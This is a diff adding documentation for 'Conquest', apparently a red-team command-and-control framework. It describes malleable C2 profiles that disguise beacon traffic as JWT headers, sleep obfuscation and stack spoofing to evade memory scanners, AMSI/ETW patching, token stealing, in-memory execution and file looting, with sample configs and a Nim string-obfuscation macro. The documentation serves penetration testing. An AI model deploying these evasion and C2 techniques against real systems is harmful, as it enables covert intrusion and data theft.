|
||||||
|
│ └── loot/
|
||||||
|
│ ├── <AGENT-UUID>/ : Agent loot (screenshots, downloads)
|
||||||
|
│ ├── conquest.db : Team server database
|
||||||
|
│ └── profile.toml : Default profile
|
||||||
|
├── docs/ : Documentation
|
||||||
|
├── src/
|
||||||
|
│ ├── agent/ : Agent source code
|
||||||
|
│ ├── client/ : Operator client source code
|
||||||
|
│ ├── common/ : Cryptography, serialization, etc.
|
||||||
|
│ ├── modules/ : Agent modules
|
||||||
|
│ └── server/ : Team server source code
|
||||||
|
└── conquest.nimble : "Makefile"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Logging
|
||||||
|
|
||||||
|
For each agent, there is a folder within the data/logs directory which includes the `session.log` file. This log file records all commands and command outputs that are executed in an agent session in the same way they are printed to the agent console.
|
||||||
|
|
||||||
|
```
|
||||||
|
[30-10-2025 15:16:21][>>>>] pwd
|
||||||
|
[30-10-2025 15:16:25][INFO] 99 bytes sent.
|
||||||
|
[30-10-2025 15:16:25][INFO] 127 bytes received.
|
||||||
|
[30-10-2025 15:16:25][DONE] Task BFBA9F7E completed.
|
||||||
|
[30-10-2025 15:16:25][INFO] Output:
|
||||||
|
C:\Users\alexander\Desktop
|
||||||
|
|
||||||
|
[30-10-2025 15:16:32][>>>>] shell whoami
|
||||||
|
[30-10-2025 15:16:34][INFO] 122 bytes sent.
|
||||||
|
[30-10-2025 15:16:34][INFO] 128 bytes received.
|
||||||
|
[30-10-2025 15:16:34][DONE] Task 8F00633E completed.
|
||||||
|
[30-10-2025 15:16:34][INFO] Output:
|
||||||
|
conquest\alexander
|
||||||
|
|
||||||
|
|
||||||
|
[30-10-2025 15:16:37][>>>>] ls
|
||||||
|
[30-10-2025 15:16:39][INFO] 94 bytes sent.
|
||||||
|
[30-10-2025 15:16:39][INFO] 275 bytes received.
|
||||||
|
[30-10-2025 15:16:39][DONE] Task 0A1F2B36 completed.
|
||||||
|
[30-10-2025 15:16:39][INFO] Output:
|
||||||
|
Directory: C:\Users\alexander\Desktop
|
||||||
|
|
||||||
|
Mode LastWriteTime Length Name
|
||||||
|
---- ------------- ------ ----
|
||||||
|
-a-hs 29/10/2025 10:21:49 282 desktop.ini
|
||||||
|
-a--- 30/10/2025 07:15:35 1042944 monarch.x64.exe
|
||||||
|
|
||||||
|
2 file(s)
|
||||||
|
0 dir(s)
|
||||||
|
```
|
||||||
|
|
||||||
|
The `teamserver.log` records other events, that don't involve an interaction with an agent, such as the starting and stopping of listeners or new agent connections.
|
||||||
|
|
||||||
|
```
|
||||||
|
[03-10-2025 12:42:09][+] Connected to Conquest team server.
|
||||||
|
[03-10-2025 12:42:24][+] Started listener 536F8884 on 127.0.0.1:8080.
|
||||||
|
[03-10-2025 12:43:01][*] Agent 28A6CC6B connected to listener 536F8884.
|
||||||
|
```
|
||||||
|
|
||||||
|
### Looting
|
||||||
|
|
||||||
|
In Conquest, the term loot encompasses file downloads and screenshots retrieved from an agent. While metadata about these loot items is stored in the database, the actual files and images are also stored on disk on the team server in the data/loot directory.
|
||||||
|
|
||||||
|

|
||||||
168
docs/3-PROFILE.md
Normal file
@@ -0,0 +1,168 @@
|
|||||||
|
# Malleable C2 Profiles <!-- omit from toc -->
|
||||||
|
|
||||||
|
## Contents <!-- omit from toc -->
|
||||||
|
|
||||||
|
- [General](#general)
|
||||||
|
- [Team server settings](#team-server-settings)
|
||||||
|
- [GET settings](#get-settings)
|
||||||
|
- [Data transformation](#data-transformation)
|
||||||
|
- [Request options](#request-options)
|
||||||
|
- [Response options](#response-options)
|
||||||
|
- [POST settings](#post-settings)
|
||||||
|
|
||||||
|
## General
|
||||||
|
|
||||||
|
Conquest supports malleable C2 profiles written using the TOML configuration language. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies.
|
||||||
|
|
||||||
|
General settings that are defined at the beginning of the profile are the profile name and the relative location of important files, such as the team server's private key or the Conquest database.
|
||||||
|
|
||||||
|
```toml
|
||||||
|
name = "cq-default-profile"
|
||||||
|
private-key-file = "data/keys/conquest-server_x25519_private.key"
|
||||||
|
database-file = "data/conquest.db"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Team server settings
|
||||||
|
The team server settings currently only include the port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block.
|
||||||
|
|
||||||
|
```toml
|
||||||
|
[team-server]
|
||||||
|
port = 37573
|
||||||
|
```
|
||||||
|
|
||||||
|
## GET settings
|
||||||
|
|
||||||
|
The largest part of the malleable C2 profiles is taken up by the configuration of HTTP GET and POST requests. Starting with HTTP GET, it is possible to define the User-Agent that is used for GET requests, as well as the URI endpoints which are requested by the agent. Here, either a regular string or an array of string can be used. While the listener creates a route for each endpoint passed to this array, the agent randomly selects one of the endpoints for each GET request. Endpoints must not include `#` characters, as the randomization is done for each request separately.
|
||||||
|
|
||||||
|
```toml
|
||||||
|
[http-get]
|
||||||
|
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
|
endpoints = [
|
||||||
|
"/get",
|
||||||
|
"/api/v1.2/status.js"
|
||||||
|
]
|
||||||
|
```
|
||||||
|
|
||||||
|
### Data transformation
|
||||||
|
|
||||||
|
A huge advantage of Conquest's C2 profile is the customization of where the heartbeat, or check-in request is placed within the request. This is where data transformation options come into play. The following table shows all available options.
|
||||||
|
|
||||||
|
| Name | Type | Description |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `parameter`, `uri`, `body`|
|
||||||
|
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
|
||||||
|
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) |
|
||||||
|
| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. |
|
||||||
|
| prefix | STRING | String to prepend before the heartbeat payload. |
|
||||||
|
| suffix | STRING | String to append after the heartbeat payload. |
|
||||||
|
|
||||||
|
The order of operations is:
|
||||||
|
1. Encoding
|
||||||
|
2. Addition of prefix & suffix
|
||||||
|
3. Placement in the request
|
||||||
|
|
||||||
|
On the other hand, the server processes the requests in the following order:
|
||||||
|
1. Retrieval from the request
|
||||||
|
2. Removal of prefix & suffix
|
||||||
|
3. Decoding
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> Heartbeat placement is currently only implemented for `header` and `parameter`, as those are the most commonly used options.
|
||||||
|
|
||||||
|
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
|
||||||
|
|
||||||
|
```toml
|
||||||
|
[http-get.agent.heartbeat]
|
||||||
|
placement = { type = "header", name = "Authorization" }
|
||||||
|
encoding = { type = "base64", url-safe = true }
|
||||||
|
prefix = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
|
||||||
|
suffix = ".######################################-####"
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Check the [default profile](../data/profile.toml) for more examples.
|
||||||
|
|
||||||
|
### Request options
|
||||||
|
|
||||||
|
The profile language makes is further possible to add parameters and headers. When arrays are passed to these settings instead of strings, a random member of the array is chosen. Again, character randomization can be used to break up repeating patterns.
|
||||||
|
|
||||||
|
```toml
|
||||||
|
# Defines arbitrary URI parameters that are added to the request
|
||||||
|
[http-get.agent.parameters]
|
||||||
|
id = "#####-#####"
|
||||||
|
lang = [
|
||||||
|
"en-US",
|
||||||
|
"de-AT"
|
||||||
|
]
|
||||||
|
|
||||||
|
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
||||||
|
[http-get.agent.headers]
|
||||||
|
Host = [
|
||||||
|
"wikipedia.org",
|
||||||
|
"google.com",
|
||||||
|
"127.0.0.1"
|
||||||
|
]
|
||||||
|
Connection = "Keep-Alive"
|
||||||
|
Cache-Control = "no-cache"
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
### Response options
|
||||||
|
|
||||||
|
The C2 profile can also be used to change the team server's responses to GET requests that contain the task that are to be executed by the agent. Similar to the requests, headers can be set under the `[http-get.server.headers]` block and the previously mentioned data transformation options can be used in the `[http-get.server.output]` block. The only placement option that is supported for the response is `body`.
|
||||||
|
|
||||||
|
```toml
|
||||||
|
# Defines arbitrary headers that are added to the server's response
|
||||||
|
[http-get.server.headers]
|
||||||
|
Server = "nginx"
|
||||||
|
Content-Type = "application/octet-stream"
|
||||||
|
Connection = "Keep-Alive"
|
||||||
|
|
||||||
|
[http-get.server.output]
|
||||||
|
placement = { type = "body" }
|
||||||
|
```
|
||||||
|
|
||||||
|
## POST settings
|
||||||
|
|
||||||
|
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT.
|
||||||
|
|
||||||
|
```toml
|
||||||
|
[http-post]
|
||||||
|
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||||
|
|
||||||
|
# Defines URI endpoints for HTTP POST requests
|
||||||
|
endpoints = [
|
||||||
|
"/post",
|
||||||
|
"/api/v2/get.js"
|
||||||
|
]
|
||||||
|
|
||||||
|
# Post request can also be sent with the HTTP verb PUT instead
|
||||||
|
request-methods = [
|
||||||
|
"POST",
|
||||||
|
"PUT"
|
||||||
|
]
|
||||||
|
|
||||||
|
[http-post.agent.headers]
|
||||||
|
Host = [
|
||||||
|
"wikipedia.org",
|
||||||
|
"google.com",
|
||||||
|
"127.0.0.1"
|
||||||
|
]
|
||||||
|
Content-Type = "application/octet-stream"
|
||||||
|
Connection = "Keep-Alive"
|
||||||
|
Cache-Control = "no-cache"
|
||||||
|
|
||||||
|
[http-post.agent.output]
|
||||||
|
placement = { type = "body" }
|
||||||
|
|
||||||
|
[http-post.server.headers]
|
||||||
|
Server = "nginx"
|
||||||
|
|
||||||
|
[http-post.server.output]
|
||||||
|
placement = { type = "body" }
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
73
docs/4-CLIENT.md
Normal file
@@ -0,0 +1,73 @@
|
|||||||
|
# Operator Client - User Interface <!-- omit from toc -->
|
||||||
|
|
||||||
|
## Contents <!-- omit from toc -->
|
||||||
|
|
||||||
|
- [General](#general)
|
||||||
|
- [Listeners](#listeners)
|
||||||
|
- [Sessions](#sessions)
|
||||||
|
- [Agent Console](#agent-console)
|
||||||
|
- [Downloads](#downloads)
|
||||||
|
- [Screenshots](#screenshots)
|
||||||
|
- [Eventlog](#eventlog)
|
||||||
|
|
||||||
|
## General
|
||||||
|
|
||||||
|
Conquest's operator client is developed using a wrapper for the **Dear ImGui** library in Nim. It communicates via WebSocket with the team server to instruct it to perform various actions, such as starting listeners, generating payloads or tasking agents to execute commands. At the same time, it receives data from the team server, such as new agents, command output or files and updates the user interface in real-time. Dear ImGui makes it easy to reorder windows and components for a customizable and flexible user experience.
|
||||||
|
|
||||||
|
## Listeners
|
||||||
|
|
||||||
|
The **Listeners** view shows a table with all currently active listeners and provides buttons for starting new listeners and for generating `Monarch` payloads. Right-clicking an active listeners opens a context menu that allows the user to stop the listener.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Sessions
|
||||||
|
|
||||||
|
The **Sessions Table** view, located by default in the top left shows information about agents and the target system they are running on, such as the username, hostname, domain, internal and external IP address, process information and the time since the last heartbeat. By right-clicking the header row, columns can be hidden and shown, as well as reordered and resized.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
To interact with an agent, one can either double-click it, or right-click the row and select `Interact`. From this right-click context menu, it is also possible to exit the agent and remove it from the team server database, which is usually done to prevent inactive agents from reappearing after a client restart.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
It is also possible to select multiple rows by dragging or holding CTRL/SHIFT and performing actions on all selected rows simultaneously.
|
||||||
|
|
||||||
|
## Agent Console
|
||||||
|
|
||||||
|
An **Agent Console** is opened in the bottom panel when an agent is interacted with. It features an input field at the bottom where the command can be entered, a large textarea, where output can by selected and copied, as well as a search field for filtering the output. The console input field features tab-autocompletion for commands and supports searching through the command history using the up and down arrow keys.
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
Available keyboard shortcuts:
|
||||||
|
|
||||||
|
| Shortcut | Action |
|
||||||
|
| --- | --- |
|
||||||
|
| CTRL + F | Focuses search input |
|
||||||
|
| CTRL + A | Highlight all output |
|
||||||
|
| CTRL + C | Copy selection |
|
||||||
|
| CTRL + V | Paste clipboard |
|
||||||
|
|
||||||
|
|
||||||
|
## Downloads
|
||||||
|
|
||||||
|
The **Downloads** view is hidden by default and can be enabled via the menu bar: `Views -> Loot -> Downloads`. By default, it opens in the bottom panel and displays information about the downloaded files on the left and the contents of the file on the right. The content is fetched from the team server when a loot row is selected for the first time.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Right-clicking a row opens a context menu with two options:
|
||||||
|
|
||||||
|
- Download: Download the file to disk
|
||||||
|
- Remove: Ask the team server to remove the loot item from the database
|
||||||
|
|
||||||
|
## Screenshots
|
||||||
|
|
||||||
|
Similar to the downloads, the **Screenshots** view is hidden by default and can be enabled by selecting `Views -> Loot -> Screenshots`. A preview of the screenshot is shown directly in the operator client. The ../assets/client can again be downloaded to disk by right-clicking the item and selecting `Download`.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Eventlog
|
||||||
|
|
||||||
|
The **Eventlog** view is shown by default in the top right and displays general team server events, info messages and errors.
|
||||||
|
|
||||||
|

|
||||||
12
docs/5-LISTENER.md
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
# Listeners <!-- omit from toc -->
|
||||||
|
|
||||||
|
Listeners can be started by pressing the **Start Listener** button in the **Listeners** view. This opens the following modal popup.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
| Name | Description |
|
||||||
|
| --- | --- |
|
||||||
|
| Protocol | Listener type. Currently only `http` listeners are implemented |
|
||||||
|
| Host (Bind) | IP address or interface that the listener binds to on the team server |
|
||||||
|
| Port (Bind) | Port that the listeners bind to on the team server |
|
||||||
|
| Hosts (Callback) | Callback hosts, one per line. The hosts are defined, separated by new-lines, in the format `<ip/domain>:<port>`. If no port is specified, the bind port is used instead. If no callback hosts are defined at all, the bind host and bind port are used.<br>Callback hosts are the endpoints that the `Monarch` agent connects to. If multiple are defined, a random entry of the list of callback hosts is selected for each request.
|
||||||
124
docs/6-AGENT.md
Normal file
@@ -0,0 +1,124 @@
|
|||||||
|
# Agents <!-- omit from toc -->
|
||||||
|
|
||||||
|
## Contents <!-- omit from toc -->
|
||||||
|
|
||||||
|
- [The Monarch](#the-monarch)
|
||||||
|
- [Sleep settings](#sleep-settings)
|
||||||
|
- [Sleep Obfuscation](#sleep-obfuscation)
|
||||||
|
- [Stack Spoofing](#stack-spoofing)
|
||||||
|
- [Working hours](#working-hours)
|
||||||
|
- [Kill date](#kill-date)
|
||||||
|
- [String obfuscation](#string-obfuscation)
|
||||||
|
- [Evasion](#evasion)
|
||||||
|
|
||||||
|
## The Monarch
|
||||||
|
|
||||||
|
The `Monarch` agent is Conquest's built-in agent that can be used to command and control Windows targets using a variety of post-exploitation modules. It can be customized using the payload generation modal pop-up, which is opened by pressing the **Generate Payload** button in the **Listeners** view.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
When the `Monarch` is built, it is embedded with a large placeholder field that is then patched with the agent configuration, such as the listener information, sleep settings, C2 profile and team server's public key. The agent generation modal has numerous settings, which are explained below and in subsequent sections.
|
||||||
|
|
||||||
|
| Setting | Type | Description |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| Listener | Dropdown selection | ID of the listener the agent with be configured to connect to. |
|
||||||
|
| Verbose | Boolean | Enable/Disable verbose mode. When this checkbox is checked, the agent prints debug messages in the console. |
|
||||||
|
| Modules | Dual list selection | Select the modules that are to be built into the agent. Highlighting a module shows a brief description and the included commands. More on modules can be found [here](./7-MODULES.md). |
|
||||||
|
|
||||||
|
The build log shows the state of the agent build process. When the build is finished, a file dialog is opened on the client that prompts the operator to choose where to save the `Monarch` executable.
|
||||||
|
|
||||||
|
## Sleep settings
|
||||||
|
|
||||||
|
Aside from the general settings explained above, a major aspect of the `Monarch` agent is the ability to configure the sleep settings.
|
||||||
|
|
||||||
|
| Setting | Type | Description |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| Sleep delay | Integer | Sleep delay between heartbeat requests in seconds. |
|
||||||
|
| Jitter | Integer (0-100) | Sleep jitter in %. For example, if a sleep delay of 10 seconds and a jitter of 50% is configured, the final sleep delay can be anything between 5 and 15 seconds. |
|
||||||
|
| Sleep mask | Dropdown | Sleep obfuscation technique to use. Available options are `EKKO`, `ZILEAN`, `FOLIAGE` and `NONE` (default). |
|
||||||
|
| Stack spoofing | Boolean | When enabled, the agent performs call spoofs the call stack during while sleeping using stack duplication. This setting is only available for the sleep obfuscation techniques `EKKO` and `ZILEAN`. |
|
||||||
|
| Working hours | Configuration | Timeframe, within which the agent sends heartbeat messages.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### Sleep Obfuscation
|
||||||
|
|
||||||
|
When configured, sleep obfuscation is used by the `Monarch` agent to hide itself from memory scanners in between heartbeat requests. In general, sleep obfuscation, also called sleepmask, is a technique that allows a C2 agent to encrypt it's own memory before a sleep cycle, delay the execution and then decrypt itself to make a request again.
|
||||||
|
|
||||||
|
When the agent doesn't use sleep obfuscation, or when the sleep delay is over, the memory looks as follows:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
However, while the agent is asleep, the memory is encrypted using `SystemFunction32` with a random RC4 encryption key.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Conquest supports the following sleep obfuscation techniques:
|
||||||
|
|
||||||
|
| Sleep obfuscation technique | Description |
|
||||||
|
| --- | --- |
|
||||||
|
| NONE | Uses a regular `Sleep` call for the delay. Does not encrypt agent memory. |
|
||||||
|
| EKKO | Ekko sleep obfuscation by C5pider based on the implementation shown in Maldev Academy. Uses `RtlCreateTimer` to perform sleep obfuscation. |
|
||||||
|
| ZILEAN | Zilean sleep obfuscation by C5pider. Similar to Ekko, but uses `RtlRegisterWait` instead. |
|
||||||
|
| FOLIAGE | Foliage sleep obfuscation based on Asynchronous Procedure Calls. |
|
||||||
|
|
||||||
|
#### Stack Spoofing
|
||||||
|
|
||||||
|
Without stack spoofing, the thread stack of the agent process displays the call to `NtSignalAndWaitForSingleObject`, which is the API responsible for the delay.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
With stack spoofing enabled, the call stack of another thread is duplicated to hide these suspicious function calls.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### Working hours
|
||||||
|
|
||||||
|
Working hours can be enabled and configured by checking the checkbox and clicking **Configure** in the agent generation modal. It is possible to select a start and end time in the HH:mm format. Within working hours, an agent sends requests to the team server as expected. When the agent detects that it is outside of working hours however, it calculates the sleep delay needed to reach the next workday (e.g. 09:00 the following day) and sleeps until then. This provides more operational security, because no network traffic is sent at unreasonable times.
|
||||||
|
|
||||||
|
Working hours considers the **local** system time to determine if the agent is within working hours.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Kill date
|
||||||
|
|
||||||
|
The agent kill date can be configured by checking the checkbox and clicking **Configure** in the agent generation modal to have an agent process terminate when a specific date/time is reached. For instance, it can be set to the end date and time of a penetration test to prevent the testers from interacting with implants after the test has ended.
|
||||||
|
|
||||||
|
Kill date uses **UTC** time.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## String obfuscation
|
||||||
|
|
||||||
|
Compile-time string obfuscation is implemented using Nim's extensive macro and meta-programming system. Static strings, such as the keys to profile settings are XOR-ed at compile time with a randomized key so they don't show up in binary, when using the `strings` command for instance.
|
||||||
|
|
||||||
|
```nim
|
||||||
|
# Compile-time string encryption using simple XOR
|
||||||
|
# This is done to hide sensitive strings, such as C2 profile settings in the binary
|
||||||
|
# https://github.com/S3cur3Th1sSh1t/nim-strenc/blob/main/src/strenc.nim
|
||||||
|
proc calculate(str: string, key: int): string {.noinline.} =
|
||||||
|
var k = key
|
||||||
|
var bytes = string.toBytes(str)
|
||||||
|
for i in 0 ..< bytes.len:
|
||||||
|
for f in [0, 8, 16, 24]:
|
||||||
|
bytes[i] = bytes[i] xor uint8((k shr f) and 0xFF)
|
||||||
|
k = k +% 1
|
||||||
|
return Bytes.toString(bytes)
|
||||||
|
|
||||||
|
# Generate a XOR key at compile-time. The `and` operation ensures that a positive integer is the result
|
||||||
|
var key {.compileTime.}: int = hash(CompileTime & CompileDate) and 0x7FFFFFFF
|
||||||
|
|
||||||
|
macro protect*(str: untyped): untyped =
|
||||||
|
var encStr = calculate($str, key)
|
||||||
|
result = quote do:
|
||||||
|
calculate(`encStr`, `key`)
|
||||||
|
|
||||||
|
# Alternate the XOR key using the FNV prime (1677619)
|
||||||
|
key = (key *% 1677619) and 0x7FFFFFFF
|
||||||
|
```
|
||||||
|
|
||||||
|
String obfuscation is not enabled for debug messages when using verbose mode.
|
||||||
|
|
||||||
|
## Evasion
|
||||||
|
|
||||||
|
While the `Monarch` offers some evasive functionality, such as sleep and string obfuscation and more, it was not specifically designed to be as evasive as possible. It is not guaranteed or even expected that the payload evades all AV/EDR software, as it has not been developed with that capability as a priority. Evasiveness and operational security are the responsibilities of the operator, not the author of this framework.
|
||||||
445
docs/7-MODULES.md
Normal file
@@ -0,0 +1,445 @@
|
|||||||
|
# Modules <!-- omit from toc -->
|
||||||
|
|
||||||
|
## Contents <!-- omit from toc -->
|
||||||
|
|
||||||
|
- [Overview](#overview)
|
||||||
|
- [EXIT](#exit)
|
||||||
|
- [exit](#exit-1)
|
||||||
|
- [self-destruct](#self-destruct)
|
||||||
|
- [SLEEP](#sleep)
|
||||||
|
- [sleep](#sleep-1)
|
||||||
|
- [sleepmask](#sleepmask)
|
||||||
|
- [SHELL](#shell)
|
||||||
|
- [shell](#shell-1)
|
||||||
|
- [BOF](#bof)
|
||||||
|
- [bof](#bof-1)
|
||||||
|
- [DOTNET](#dotnet)
|
||||||
|
- [dotnet](#dotnet-1)
|
||||||
|
- [FILESYSTEM](#filesystem)
|
||||||
|
- [pwd](#pwd)
|
||||||
|
- [cd](#cd)
|
||||||
|
- [ls](#ls)
|
||||||
|
- [rm](#rm)
|
||||||
|
- [rmdir](#rmdir)
|
||||||
|
- [move](#move)
|
||||||
|
- [copy](#copy)
|
||||||
|
- [FILETRANSFER](#filetransfer)
|
||||||
|
- [download](#download)
|
||||||
|
- [upload](#upload)
|
||||||
|
- [SCREENSHOT](#screenshot)
|
||||||
|
- [screenshot](#screenshot-1)
|
||||||
|
- [SYSTEMINFO](#systeminfo)
|
||||||
|
- [ps](#ps)
|
||||||
|
- [env](#env)
|
||||||
|
- [TOKEN](#token)
|
||||||
|
- [make-token](#make-token)
|
||||||
|
- [steal-token](#steal-token)
|
||||||
|
- [rev2self](#rev2self)
|
||||||
|
- [token-info](#token-info)
|
||||||
|
- [enable-privilege](#enable-privilege)
|
||||||
|
- [disable-privilege](#disable-privilege)
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
Modules are bundles of agent commands that can be embedded into the executable when configuring and building the `Monarch` agent. Currently, the following commands are available when all modules are activated.
|
||||||
|
|
||||||
|
```
|
||||||
|
* exit Exit the agent.
|
||||||
|
* self-destruct Exit the agent and delete the executable from disk.
|
||||||
|
* sleep Update sleep delay settings.
|
||||||
|
* sleepmask Update sleepmask settings.
|
||||||
|
* shell Execute a shell command and retrieve the output.
|
||||||
|
* bof Execute an object file in memory and retrieve the output.
|
||||||
|
* dotnet Execute a .NET assembly in memory and retrieve the output.
|
||||||
|
* pwd Retrieve current working directory.
|
||||||
|
* cd Change current working directory.
|
||||||
|
* ls List files and directories.
|
||||||
|
* rm Remove a file.
|
||||||
|
* rmdir Remove a directory.
|
||||||
|
* move Move a file or directory.
|
||||||
|
* copy Copy a file or directory.
|
||||||
|
* download Download a file.
|
||||||
|
* upload Upload a file.
|
||||||
|
* screenshot Take a screenshot of the target system.
|
||||||
|
* ps Display running processes.
|
||||||
|
* env Display environment variables.
|
||||||
|
* make-token Create an access token from username and password.
|
||||||
|
* steal-token Steal the primary access token of a remote process.
|
||||||
|
* rev2self Revert to original access token.
|
||||||
|
* token-info Retrieve information about the current access token.
|
||||||
|
* enable-privilege Enable a token privilege.
|
||||||
|
* disable-privilege Disable a token privilege.
|
||||||
|
```
|
||||||
|
|
||||||
|
## EXIT
|
||||||
|
|
||||||
|
Though not necessarily a module that can be enabled via the payload builder, the `exit` module exposes two commands that are built into the agent by default.
|
||||||
|
|
||||||
|
### exit
|
||||||
|
Terminate the agent process or thread. This command is also invoked when the agent is exited from the UI.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : exit [type]
|
||||||
|
Example : exit process
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* type STRING NO Available options: PROCESS/THREAD. Default: PROCESS.
|
||||||
|
```
|
||||||
|
|
||||||
|
### self-destruct
|
||||||
|
Terminate the agent process and delete the agent executable from disk.
|
||||||
|
```
|
||||||
|
Usage : self-destruct
|
||||||
|
Example : self-destruct
|
||||||
|
```
|
||||||
|
|
||||||
|
## SLEEP
|
||||||
|
The `sleep` module is used to change sleep settings dynamically on the agent.
|
||||||
|
|
||||||
|
### sleep
|
||||||
|
Update sleep delay.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : sleep <delay>
|
||||||
|
Example : sleep 5
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* delay INT YES Delay in seconds.
|
||||||
|
```
|
||||||
|
|
||||||
|
### sleepmask
|
||||||
|
Update sleepmask/sleep obfuscation settings. Executing without arguments retrieves the current sleepmask settings and prints them in the agent console.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : sleepmask [technique] [spoof]
|
||||||
|
Example : sleepmask ekko true
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* technique STRING NO Sleep obfuscation technique (NONE, EKKO, ZILEAN, FOLIAGE).
|
||||||
|
* spoof BOOL NO Use stack spoofing to obfuscate the call stack.
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## SHELL
|
||||||
|
The `shell` module is a simple module for executing shell commands using Nim's `execCmdEx` function. Double-quoted strings are parsed as a single argument.
|
||||||
|
|
||||||
|
### shell
|
||||||
|
Execute a shell command and retrieve the output
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : shell <command> [arguments]
|
||||||
|
Example : shell whoami /all
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* command STRING YES Command to be executed.
|
||||||
|
* arguments STRING NO Arguments to be passed to the command.
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## BOF
|
||||||
|
The `bof` module provides an effective BOF/COFF loader that can be used to execute beacon object files (*.o) in-memory. The object file is read from disk on the operator client and sent to the agent as part of the task data.
|
||||||
|
|
||||||
|
### bof
|
||||||
|
Execute an object file in memory and retrieve the output.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : bof <path> [arguments]
|
||||||
|
Example : bof /path/to/dir.x64.o C:\Users
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* path BINARY YES Path to the object file to execute.
|
||||||
|
* arguments STRING NO Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Arguments are handled as STRING by default, but some BOFs expect other types. Prefixes can be used to tell the BOF loader how to process the passed argument.
|
||||||
|
|
||||||
|
| Prefix | Type |
|
||||||
|
| --- | --- |
|
||||||
|
| `[i]:` | Integer |
|
||||||
|
| `[w]:` | Wide String |
|
||||||
|
| `[s]:` | Short |
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
## DOTNET
|
||||||
|
|
||||||
|
The `dotnet` module executes a .NET assembly in memory using the CLR. As with object files, the .NET assembly is read from the operator desktop. In order to prevent security software from blocking the execution, this module patches AMSI and ETW using hardware breakpoints.
|
||||||
|
|
||||||
|
### dotnet
|
||||||
|
Execute a .NET assembly in memory and retrieve the output.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : dotnet <path> [arguments]
|
||||||
|
Example : dotnet /path/to/Seatbelt.exe antivirus
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
Name Type Required Description
|
||||||
|
--------------- ------ -------- --------------------
|
||||||
|
* path BINARY YES Path to the .NET assembly file to execute.
|
||||||
|
* arguments STRING NO Arguments to be passed to the assembly. Arguments are handled as STRING
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## FILESYSTEM
|
||||||
|
The `filesystem` module features basic commands that have been implemented using the Windows API for interacting with the file system. Supports quoted arguments.
|
||||||
|
|
||||||
|
### pwd
|
||||||
|
Retrieve current working directory.
|
||||||
|
|
||||||
|
```
|
||||||
|
Usage : pwd
|
||||||
|
Example : pwd
|
||||||
|
```
|
||||||
|
|
||||||
|
### cd
